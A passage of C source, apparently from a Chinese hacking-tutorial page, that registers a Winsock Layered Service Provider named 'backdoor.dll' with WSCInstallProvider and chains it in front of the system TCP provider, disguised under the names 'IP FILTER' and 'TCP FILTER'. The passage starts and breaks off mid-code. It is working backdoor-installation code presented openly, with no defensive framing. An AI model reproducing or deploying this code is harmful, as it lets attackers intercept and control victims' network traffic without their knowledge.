{ rawip=TRUE; memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW)); iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES); }
if(!tcpip && protoinfo[i].iAddressFamily==AF_INET && protoinfo[i].iProtocol==IPPROTO_TCP) { tcpip=TRUE; tcporigcataid=protoinfo[i].dwCatalogEntryId; memcpy(&tcpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW)); tcpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES); } }
_tcscpy(iplayerinfo.szProtocol,_TEXT("IP FILTER")); iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;
if(GetCurrentDirectory(MAX_PATH,filter_path)==0) { printf("GetCurrentDirectory Error: %d\n",GetLastError()); return ; } _tcscpy(filter_name,_TEXT("\\backdoor.dll")); _tcscat(filter_path,filter_name);
if(WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR) { printf("WSCInstallProvider Error: %d\n",errorcode); return ; }
freefilter();
getfilter();
for(i=0;i<totalprotos;i++) { if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0) { iplayercataid=protoinfo[i].dwCatalogEntryId; break; } }
provcnt=0; if(tcpip) { swprintf(chainname,_TEXT("TCP FILTER")); _tcscpy(tcpchaininfo.szProtocol,chainname); if(tcpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL) { tcpchaininfo.ProtocolChain.ChainEntries[1]=tcporigcataid; } else { for(i=tcpchaininfo.ProtocolChain.ChainLen;i>0;i--) { tcpchaininfo.ProtocolChain.ChainEntries[i+1]=tcpchaininfo.ProtocolChain.ChainEntries[i]; } }
tcpchaininfo.ProtocolChain.ChainLen++; tcpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
memcpy(&chainarray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW)); }
if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR) { printf("WSCInstallProvider for chain Error: %d\n",errorcode);
上一篇:无盘工作站2000终端全攻略
下一篇:极限软件电影下载密技
|